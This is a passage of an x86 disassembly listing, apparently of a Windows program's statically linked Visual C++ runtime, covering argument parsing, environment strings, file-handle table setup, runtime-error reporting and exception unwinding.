loc_423964:				; CODE XREF: sub_423825+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42395C


loc_423969:				; CODE XREF: sub_423825+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4239B9
		cmp	[ebp+arg_10], 0
		jnz	short loc_42397F
		cmp	dl, 20h
		jz	short loc_4239B9
		cmp	dl, 9
		jz	short loc_4239B9


loc_42397F:				; CODE XREF: sub_423825+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4239B3
		test	esi, esi
		jz	short loc_4239A2
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_42399B
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42399B:				; CODE XREF: sub_423825+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4239B1
; ---------------------------------------------------------------------------


loc_4239A2:				; CODE XREF: sub_423825+162j
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_4239B1
		inc	eax
		inc	dword ptr [ecx]


loc_4239B1:				; CODE XREF: sub_423825+17Bj
					; sub_423825+187j
		inc	dword ptr [ecx]


loc_4239B3:				; CODE XREF: sub_423825+15Ej
		inc	eax
		jmp	loc_423911
; ---------------------------------------------------------------------------


loc_4239B9:				; CODE XREF: sub_423825+148j
					; sub_423825+153j ...
		test	esi, esi
		jz	short loc_4239C1
		and	byte ptr [esi],	0
		inc	esi


loc_4239C1:				; CODE XREF: sub_423825+196j
		inc	dword ptr [ecx]
		jmp	loc_4238DF
; ---------------------------------------------------------------------------


loc_4239C8:				; CODE XREF: sub_423825+BDj
					; sub_423825+D5j
		test	edi, edi
		jz	short loc_4239CF
		and	dword ptr [edi], 0


loc_4239CF:				; CODE XREF: sub_423825+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_423825	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBFA4
		push	ebx
		push	ebp
		mov	ebp, dword_427030
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423A27
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423A08
		mov	dword_4DBFA4, 1
		jmp	short loc_423A30
; ---------------------------------------------------------------------------


loc_423A08:				; CODE XREF: ___:004239FAj
		nop
		call	near ptr 2620B89h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423B02
		mov	dword_4DBFA4, 2
		jmp	loc_423AB6
; ---------------------------------------------------------------------------


loc_423A27:				; CODE XREF: ___:004239F2j
		cmp	eax, 1
		jnz	loc_423AB1


loc_423A30:				; CODE XREF: ___:00423A06j
		cmp	esi, ebx
		jnz	short loc_423A40
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423B02


loc_423A40:				; CODE XREF: ___:00423A32j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423A55


loc_423A47:				; CODE XREF: ___:00423A4Cj
					; ___:00423A53j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47


loc_423A55:				; CODE XREF: ___:00423A45j
		sub	eax, esi
		mov	edi, dword_427188
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_423AA6
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_423AA6
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423AA2
		push	dword ptr [esp+10h]
		call	sub_41BA91
		pop	ecx
		mov	[esp+10h], ebx


loc_423AA2:				; CODE XREF: ___:00423A92j
		mov	ebx, [esp+10h]


loc_423AA6:				; CODE XREF: ___:00423A72j
					; ___:00423A81j
		push	esi
		nop
		call	near ptr 2620DECh
		mov	eax, ebx
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423AB1:				; CODE XREF: ___:00423A2Aj
		cmp	eax, 2
		jnz	short loc_423B02


loc_423AB6:				; CODE XREF: ___:00423A22j
		cmp	edi, ebx
		jnz	short loc_423AC6
		nop
		call	near ptr 2620B89h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423B02


loc_423AC6:				; CODE XREF: ___:00423AB8j
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_423AD6


loc_423ACC:				; CODE XREF: ___:00423ACFj
					; ___:00423AD4j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC


loc_423AD6:				; CODE XREF: ___:00423ACAj
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_423AEC
		xor	esi, esi
		jmp	short loc_423AF7
; ---------------------------------------------------------------------------


loc_423AEC:				; CODE XREF: ___:00423AE6j
		push	ebp
		push	edi
		push	esi
		call	sub_41CD20
		add	esp, 0Ch


loc_423AF7:				; CODE XREF: ___:00423AEAj
		push	edi
		nop
		call	near ptr 2620E46h
		mov	eax, esi
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423B02:				; CODE XREF: ___:00423A12j
					; ___:00423A3Aj ...
		xor	eax, eax


loc_423B04:				; CODE XREF: ___:00423AAFj
					; ___:00423B00j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423B2B
		push	1Bh
		call	sub_41E2C9
		pop	ecx


loc_423B2B:				; CODE XREF: ___:00423B21j
		mov	dword_4DD040, esi
		mov	dword_4DD140, 20h
		lea	eax, [esi+100h]


loc_423B41:				; CODE XREF: ___:00423B5Dj
		cmp	esi, eax
		jnb	short loc_423B5F
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DD040
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423B41
; ---------------------------------------------------------------------------


loc_423B5F:				; CODE XREF: ___:00423B43j
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2890000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423C3B
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423C3B
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423B95
		mov	esi, eax


loc_423B95:				; CODE XREF: ___:00423B91j
		cmp	dword_4DD140, esi
		jge	short loc_423BEF
		mov	edi, offset dword_4DD044


loc_423BA2:				; CODE XREF: ___:00423BE5j
		push	100h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423BE9
		add	dword_4DD140, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_423BC0:				; CODE XREF: ___:00423BDAj
		cmp	eax, ecx
		jnb	short loc_423BDC
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_423BC0
; ---------------------------------------------------------------------------


loc_423BDC:				; CODE XREF: ___:00423BC2j
		add	edi, 4
		cmp	dword_4DD140, esi
		jl	short loc_423BA2
		jmp	short loc_423BEF
; ---------------------------------------------------------------------------


loc_423BE9:				; CODE XREF: ___:00423BAFj
		mov	esi, dword_4DD140


loc_423BEF:				; CODE XREF: ___:00423B9Bj
					; ___:00423BE7j
		xor	edi, edi
		test	esi, esi
		jle	short loc_423C3B


loc_423BF5:				; CODE XREF: ___:00423C39j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423C32
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423C32
		test	cl, 8
		jnz	short loc_423C14
		push	eax
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_423C32


loc_423C14:				; CODE XREF: ___:00423C07j
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423C32:				; CODE XREF: ___:00423BFAj
					; ___:00423C02j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_423BF5


loc_423C3B:				; CODE XREF: ___:00423B70j
					; ___:00423B7Cj ...
		xor	ebx, ebx


loc_423C3D:				; CODE XREF: ___:00423CA0j
		mov	eax, dword_4DD040
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423C98
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423C58
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423C62
; ---------------------------------------------------------------------------


loc_423C58:				; CODE XREF: ___:00423C51j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423C62:				; CODE XREF: ___:00423C56j
		push	eax
		nop
		call	near ptr 26207E3h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423C87
		push	edi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_423C87
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423C8D


loc_423C87:				; CODE XREF: ___:00423C6Ej
					; ___:00423C79j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C8D:				; CODE XREF: ___:00423C85j
		cmp	eax, 3
		jnz	short loc_423C9C
		or	byte ptr [esi+4], 8
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C98:				; CODE XREF: ___:00423C49j
		or	byte ptr [esi+4], 80h


loc_423C9C:				; CODE XREF: ___:00423C8Bj
					; ___:00423C90j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423C3D
		push	dword_4DD140
		nop
		call	near ptr 2620AAAh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CC0	proc near		; DATA XREF: sub_4228FD+Ao
					; sub_422A2C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423D60
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423CF3:				; CODE XREF: sub_423CC0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423D59
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423D47
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423D47
		js	short loc_423D52
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D550
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D592
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D626
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423D47:				; CODE XREF: sub_423CC0+40j
					; sub_423CC0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423CF3
; ---------------------------------------------------------------------------


loc_423D52:				; CODE XREF: sub_423CC0+54j
		mov	eax, 0
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D59:				; CODE XREF: sub_423CC0+36j
		mov	eax, 1
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D60:				; CODE XREF: sub_423CC0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D592
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423D75:				; CODE XREF: sub_423CC0+97j
					; sub_423CC0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423CC0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D592
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423D98	proc near		; CODE XREF: sub_41E2C9+9p
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	short loc_423DAF
		test	eax, eax
		jnz	short locret_423DD0
		cmp	dword_43AE44, 1
		jnz	short locret_423DD0


loc_423DAF:				; CODE XREF: sub_423D98+8j
		push	0FCh
		call	sub_423DD1
		mov	eax, dword_4DBFA8
		pop	ecx
		test	eax, eax
		jz	short loc_423DC5
		call	eax


loc_423DC5:				; CODE XREF: sub_423D98+29j
		push	0FFh
		call	sub_423DD1
		pop	ecx

locret_423DD0:				; CODE XREF: sub_423D98+Cj
					; sub_423D98+15j
		retn
sub_423D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DD1	proc near		; CODE XREF: sub_41E2C9+12p
					; sub_423D98+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D4D8


loc_423DE4:				; CODE XREF: sub_423DD1+20j
		cmp	edx, [eax]
		jz	short loc_423DF3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D568
		jl	short loc_423DE4


loc_423DF3:				; CODE XREF: sub_423DD1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D4D8[esi]
		jnz	loc_423F21
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	loc_423EFB
		test	eax, eax
		jnz	short loc_423E24
		cmp	dword_43AE44, 1
		jz	loc_423EFB


loc_423E24:				; CODE XREF: sub_423DD1+44j
		cmp	edx, 0FCh
		jz	loc_423F21
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2690000h
		nop
		test	eax, eax
		jnz	short loc_423E5B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_423E5B:				; CODE XREF: sub_423DD1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B9C0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423E9E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BFD0
		add	esp, 10h


loc_423E9E:				; CODE XREF: sub_423DD1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C890
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C8A0
		lea	eax, [ebp+var_A0]
		push	offset asc_427BF0 ; "\n\n"
		push	eax
		call	sub_41C8A0
		push	off_43D4DC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C8A0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_425029
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423F21
; ---------------------------------------------------------------------------


loc_423EFB:				; CODE XREF: sub_423DD1+3Cj
					; sub_423DD1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D4DC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 26207E3h
		push	eax
		nop
		call	near ptr 2720000h


loc_423F21:				; CODE XREF: sub_423DD1+2Ej
					; sub_423DD1+59j ...
		pop	esi
		leave
		retn
sub_423DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F24	proc near		; CODE XREF: sub_42423B:loc_4243B3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DD040


loc_423F33:				; CODE XREF: sub_423F24+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423F70
		lea	edx, [eax+100h]


loc_423F3F:				; CODE XREF: sub_423F24+28j
		cmp	eax, edx
		jnb	short loc_423F5F
		test	byte ptr [eax+4], 1
		jz	short loc_423F4E
		add	eax, 8
		jmp	short loc_423F3F
; ---------------------------------------------------------------------------


loc_423F4E:				; CODE XREF: sub_423F24+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423FB3


loc_423F5F:				; CODE XREF: sub_423F24+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DD140
		jl	short loc_423F33
		jmp	short loc_423FB3
; ---------------------------------------------------------------------------


loc_423F70:				; CODE XREF: sub_423F24+13j
		mov	esi, 100h
		push	esi
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423FB3
		add	dword_4DD140, 20h
		lea	ecx, ds:4DD040h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423F96:				; CODE XREF: sub_423F24+88j
		cmp	eax, edx
		jnb	short loc_423FAE
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423F96
; ---------------------------------------------------------------------------


loc_423FAE:				; CODE XREF: sub_423F24+74j
		shl	edi, 5
		mov	ebx, edi


loc_423FB3:				; CODE XREF: sub_423F24+39j
					; sub_423F24+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423F24	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FB9	proc near		; CODE XREF: sub_42423B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		push	edi
		jnb	short loc_424019
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_424019
		cmp	dword_43AE44, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42400F
		sub	eax, 0
		jz	short loc_424006
		dec	eax
		jz	short loc_424001
		dec	eax
		jnz	short loc_42400F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FB9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424006:				; CODE XREF: sub_423FB9+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_424009:				; CODE XREF: sub_423FB9+46j
					; sub_423FB9+4Bj
		nop
		call	near ptr 2610C77h


loc_42400F:				; CODE XREF: sub_423FB9+36j
					; sub_423FB9+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42402D
; ---------------------------------------------------------------------------


loc_424019:				; CODE XREF: sub_423FB9+Cj
					; sub_423FB9+28j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_42402D:				; CODE XREF: sub_423FB9+5Ej
		pop	edi
		pop	esi
		retn
sub_423FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_424030	proc near		; CODE XREF: sub_41E312+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DD140
		push	edi
		jnb	short loc_424093
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_424093
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_424093
		cmp	dword_43AE44, 1
		jnz	short loc_424089
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_424080
		dec	ecx
		jz	short loc_42407B
		dec	ecx
		jnz	short loc_424089
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_42407B:				; CODE XREF: sub_424030+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_424030+3Ej
		push	eax
		push	0FFFFFFF6h


loc_424083:				; CODE XREF: sub_424030+49j
					; sub_424030+4Ej
		call	near ptr 2610C77h
		nop


loc_424089:				; CODE XREF: sub_424030+38j
					; sub_424030+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4240A7
; ---------------------------------------------------------------------------


loc_424093:				; CODE XREF: sub_424030+Cj
					; sub_424030+2Aj ...
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_4240A7:				; CODE XREF: sub_424030+61j
		pop	edi
		pop	esi
		retn
sub_424030	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240AA	proc near		; CODE XREF: sub_41E312+32p
					; sub_41E312+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_4240D2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4240D2
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4240D2:				; CODE XREF: sub_4240AA+Aj
					; sub_4240AA+23j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4240AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240E7	proc near		; CODE XREF: sub_41E3F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_424130
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_424130
		push	eax
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 26106F6h
		test	eax, eax
		jnz	short loc_424125
		nop
		call	near ptr 26A096Ch
		jmp	short loc_424127
; ---------------------------------------------------------------------------


loc_424125:				; CODE XREF: sub_4240E7+34j
		xor	eax, eax


loc_424127:				; CODE XREF: sub_4240E7+3Cj
		test	eax, eax
		jz	short locret_42413D
		mov	dword_4DBDE0, eax


loc_424130:				; CODE XREF: sub_4240E7+Aj
					; sub_4240E7+22j
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh

locret_42413D:				; CODE XREF: sub_4240E7+42j
		retn
sub_4240E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42413E	proc near		; DATA XREF: ___:00429020o
		mov	eax, dword_4DD020
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_424152
		mov	eax, 200h
		jmp	short loc_424158
; ---------------------------------------------------------------------------


loc_424152:				; CODE XREF: sub_42413E+Bj
		cmp	eax, esi
		jge	short loc_42415D
		mov	eax, esi


loc_424158:				; CODE XREF: sub_42413E+12j
		mov	dword_4DD020, eax


loc_42415D:				; CODE XREF: sub_42413E+16j
		push	4
		push	eax
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	4
		push	esi
		mov	dword_4DD020, esi
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	1Ah
		call	sub_41E2C9
		pop	ecx


loc_424191:				; CODE XREF: sub_42413E+30j
					; sub_42413E+49j
		xor	ecx, ecx
		mov	eax, offset off_43D568


loc_424198:				; CODE XREF: sub_42413E+6Ej
		mov	edx, dword_4DC01C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D7E8
		jl	short loc_424198
		xor	edx, edx
		mov	ecx, offset dword_43D578


loc_4241B5:				; CODE XREF: sub_42413E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DD040[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4241D2
		test	eax, eax
		jnz	short loc_4241D5


loc_4241D2:				; CODE XREF: sub_42413E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4241D5:				; CODE XREF: sub_42413E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D5D8
		jl	short loc_4241B5
		pop	esi
		retn
sub_42413E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E3	proc near		; DATA XREF: ___:00429030o

; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES

		call	sub_41E487
		cmp	byte_4DBE1C, 0
		jz	short locret_4241F6
		jmp	loc_425163
; ---------------------------------------------------------------------------

locret_4241F6:				; CODE XREF: sub_4241E3+Cj
		retn
sub_4241E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241F7	proc near		; CODE XREF: sub_41F8E3+32p
					; sub_41FE2A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBFAC
		push	1000h
		call	sub_41BEB5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_424220
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_424231
; ---------------------------------------------------------------------------


loc_424220:				; CODE XREF: sub_4241F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_424231:				; CODE XREF: sub_4241F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4241F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42423B	proc near		; CODE XREF: sub_41FBCD+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_424261
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42426C
; ---------------------------------------------------------------------------


loc_424261:				; CODE XREF: sub_42423B+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42426C:				; CODE XREF: sub_42423B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_424286
		test	ch, 40h
		jnz	short loc_424282
		cmp	dword_4DBFF8, eax
		jz	short loc_424286


loc_424282:				; CODE XREF: sub_42423B+3Dj
		or	[ebp+var_1], 80h


loc_424286:				; CODE XREF: sub_42423B+38j
					; sub_42423B+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4242BE
